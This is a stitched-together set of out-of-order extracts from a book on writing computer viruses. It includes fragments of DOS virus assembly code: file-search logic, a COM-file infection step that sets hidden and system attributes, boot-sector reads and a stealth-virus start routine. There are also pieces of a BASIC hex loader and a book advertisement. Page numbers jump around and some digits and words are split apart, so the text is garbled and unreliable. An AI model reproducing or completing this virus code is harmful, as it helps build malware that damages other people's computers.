... sort? Per-
haps they are the electronic analog of the simplest one-celled
8 The Little Black Book of Computer Viruses
The Little Black Book
of
Computer Viruses
Volume One:
The Basic Technology
By ... has to put the program on
11 The Little Black Book of Computer Viruses
The Basics of the Computer Virus
A plethora of negative magaz...
... to
FIND_FILE
FINDBR
FINDEXE
FILE_OK
FIRSTDIR
NEXTDIR
SUBDIR1
(CURRENT)
SUBDIR2
SD 11 SD12 SD 21
SD 111 SD 112 SD1 21 SD 211
SD 111 2 SD 111 3 SD 211 1 SD 211 2
ROOT DIR
Figure 12 : Logic of the file search routines.
62 The Little Black Book of Computer Viruses
header has two parts to it, ... ah,ah
SR1: nop
int 1AH
and al,63
ret
64 The Little Black Book of...
...
16 2 The Little Black Book of Computer Viruses
Computer Viruses,
Artificial Life
and Evolution
By Mark A. Ludwig, 373 Pages, 19 93, $26.95
ISBN 0-929408-07 -1
Step into the 21st century where the ... Patrick Gelsinger, Programming the 80386 (Sybex, San
Fransisco) 19 87, ISBN 0-89588-3 81- 3. Similar to the above, for the
80386.
16 6 The Little Black Boo...
... when they are correctly written. Which-
ever assembler you decide to use, though, the viruses in this book
19 The Little Black Book of Computer Viruses
use to a DOS programmer today. Some of it ... this
13 The Little Black Book of Computer Viruses
computer locks up, with everything on it ruined, most anyone can
figure out that they’ve been the victim...
... Found
Yes
No
34 The Little Black Book of Computer Viruses
cx:dx is used as the offset from the end of the file. Since the first
thing the virus must do is place its code at the end of the COM file
it ... dx,OFFSET COMFILE;set offset of asciiz string
mov cl,0000 011 0B ;set hidden and system attributes
32 The Little Black Book of Computer Viruses...
... + SEC_SIZE - 1] /SEC_SIZE
and the size of the file in sectors. The file size in bytes is stored at
the offset 1CH from the start of the directory entry at 0000:0500H.
The number of sectors to ... boot sector which loads the oper-
70 The Little Black Book of Computer Viruses
MOV DX ,1 ;read drive B
MOV AX,201H ;read one sector
MOV CX ,1 ;read Track 0, S...
... DOS
92 The Little Black Book of Computer Viruses
VIRUS_START:
call GET_START ;get start address
;This is a trick to determine the location of the start of the program. We put
;the address of GET_START ... knows the disk is
infected. Otherwise it can infect the disk. The STEALTH virus uses
its own code as an ID. It reads the boot sector and compares the
8...
... #1
60 OPEN DFNAME$ FOR RANDOM AS #2 LEN =1
70 FIELD 2, 1 AS O$
80 E=0
90 LINECT=0
10 0 IF EOF (1) THEN GOTO 16 0
11 0 LINE INPUT #1, S$
12 0 LINECT=LINECT +1
130 GOSUB 200
14 0 GOTO 10 0
15 0 IF E =1 THEN ... #2, ADDR%+J%
410 NEXT J%
15 3 The Little Black Book of Computer Viruses
420 H$=LEFT$(S$ ,11 +2*COUNT%)
430 H$=RIGHT$(H$,2)
440 GOSUB 540
450 CSUM%=CSUM%+X%
4...